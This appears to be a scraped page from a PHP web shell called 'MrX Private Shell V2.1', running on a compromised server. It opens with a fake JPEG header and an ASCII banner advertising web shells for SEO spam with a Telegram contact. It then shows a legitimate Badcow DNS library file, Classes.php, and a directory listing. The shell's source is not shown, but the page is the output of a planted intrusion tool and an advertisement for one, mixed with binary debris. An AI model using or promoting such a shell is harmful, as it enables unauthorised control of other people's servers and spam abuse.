����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
/*
* This file is part of Badcow DNS Library.
*
* (c) Samuel Williams <sam@badcow.co>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Badcow\DNS;
class Classes
{
public const INTERNET = 'IN';
public const CSNET = 'CS';
public const CHAOS = 'CH';
public const HESIOD = 'HS';
/**
* @var array
*/
public static $classes = [
self::CHAOS => 'CHAOS',
self::CSNET => 'CSNET',
self::HESIOD => 'Hesiod',
self::INTERNET => 'Internet',
];
public const CLASS_IDS = [
self::CHAOS => 3,
self::CSNET => 2,
self::HESIOD => 4,
self::INTERNET => 1,
];
/**
* @const string[]
*/
public const IDS_CLASSES = [
1 => 'IN',
2 => 'CS',
3 => 'CH',
4 => 'HS',
];
/**
* Determine if a class is valid.
*/
public static function isValid(string $class): bool
{
if (array_key_exists($class, self::$classes)) {
return true;
}
return 1 === preg_match('/^CLASS\d+$/', $class);
}
/**
* @throws \InvalidArgumentException
*/
public static function getClassId(string $className): int
{
if (!self::isValid($className)) {
throw new \InvalidArgumentException(sprintf('Class "%s" is not a valid DNS class.', $className));
}
if (1 === preg_match('/^CLASS(\d+)$/', $className, $matches)) {
return (int) $matches[1];
}
return self::CLASS_IDS[$className];
}
public static function getClassName(int $classId): string
{
if (array_key_exists($classId, self::IDS_CLASSES)) {
return self::IDS_CLASSES[$classId];
}
return 'CLASS'.$classId;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Edns | Folder | 0755 |
|
|
| Parser | Folder | 0755 |
|
|
| Rdata | Folder | 0755 |
|
|
| Algorithms.php | File | 4.4 KB | 0644 |
|
| AlignedBuilder.php | File | 7.75 KB | 0644 |
|
| AlignedRdataFormatters.php | File | 5.66 KB | 0644 |
|
| Classes.php | File | 1.85 KB | 0644 |
|
| Message.php | File | 10.45 KB | 0644 |
|
| Opcode.php | File | 831 B | 0644 |
|
| Question.php | File | 3.19 KB | 0644 |
|
| Rcode.php | File | 2.12 KB | 0644 |
|
| ResourceRecord.php | File | 5.5 KB | 0644 |
|
| UnsetValueException.php | File | 329 B | 0644 |
|
| Validator.php | File | 8.4 KB | 0644 |
|
| Zone.php | File | 4.08 KB | 0644 |
|
| ZoneBuilder.php | File | 4.14 KB | 0644 |
|